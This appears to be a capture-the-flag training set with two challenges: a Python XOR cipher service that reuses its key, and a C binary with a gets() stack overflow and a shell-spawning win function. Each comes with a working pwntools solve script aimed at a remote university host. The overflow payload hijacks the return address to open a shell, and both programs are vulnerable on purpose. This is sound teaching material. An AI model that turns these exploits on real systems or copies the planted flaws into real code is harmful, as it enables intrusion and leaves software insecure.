COMPASS Team 2024 Trial

#!/usr/bin/env python3

from os import urandom
from binascii import hexlify, unhexlify

class Cipher:
    def __init__(self):
        self.key = b''
    def encrypt(self, data):
        if len(data) > len(self.key):
            self.key = urandom(len(data))
        return bytes(a ^ b for a, b in zip(data, self.key))

cipher = Cipher()

with open('flag.txt', 'rb') as f:
    flag = f.read().strip()

flag = cipher.encrypt(flag)
flag = hexlify(flag)

print("OTP is a secure encryption algorithm. It's so secure that it's used by the NSA!")
print("I'm going to encrypt my flag with it and give you the ciphertext.")
print("Can you decrypt it and capture the flag?")
print(f"Here it is: {flag}")
print()
print("Remember, the key is as long as the data. You can't decrypt it without the key.")
print("However, you can encrypt your own data with the key I give you.")

while True:
    try:
        print("Give me some data:")
        inp = input()
    except:
        break
    try:
        inp = unhexlify(inp)
    except:
        print("That's not valid!")
        continue
    ct = cipher.encrypt(inp)
    ct = hexlify(ct)
    print(f"Here it is: {ct}")

from pwn import *  # if you dont have one, install by "pip install pwntools"
from binascii import unhexlify, hexlify

# connect to the server, change it to yours
p = remote("detroit.sustech.edu.cn", 49338)

# receive the ciphertext of flag
p.recvuntil(b'flag?\n')
flag = p.recvline().strip(b"Here it is: b'").strip(b"'\n")
p.recvuntil(b'data:\n')
flag = unhexlify(flag)

# generate our message
msg = b'a' * len(flag)

# send our message
p.sendline(hexlify(msg))

# receive the ciphertext of our message
cipher = p.recvline().strip(b"Here it is: b'").strip(b"'\n")
cipher = unhexlify(cipher)

# calculate the key
key = bytes([a ^ b for a, b in zip(msg, cipher)])

# decrypt the flag
flag = bytes([a ^ b for a, b in zip(flag, key)])
print(flag)

#include <stdio.h>
#include <unistd.h>

void grab_ledge()
{
    puts("ayy we made it");
    execve("/bin/sh", NULL, NULL);
}

int main(void)
{
    char action[12];

    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    puts("We thought it was a good idea to go white-water rafting...");
    puts("but now we're about to go over a waterfall!!");
    puts("HELP!!!!!");
    puts("The map said there was a ledge nearby that we could escape to but I can't find it!!!");

    gets(action);
    printf("Let's try this %s and hope it works D:\n", action);
}

from pwn import * # pip install pwntools

# connect to the server, change it to yours
p = remote("detroit.sustech.edu.cn", 49340)
p.recvline()
p.recvline()
p.recvline()
p.recvline() # receive message

# generate payload
payload = b"a" * 0x14 + p64(0x4011b6)

# send payload
p.sendline(payload)

# get shell
p.interactive()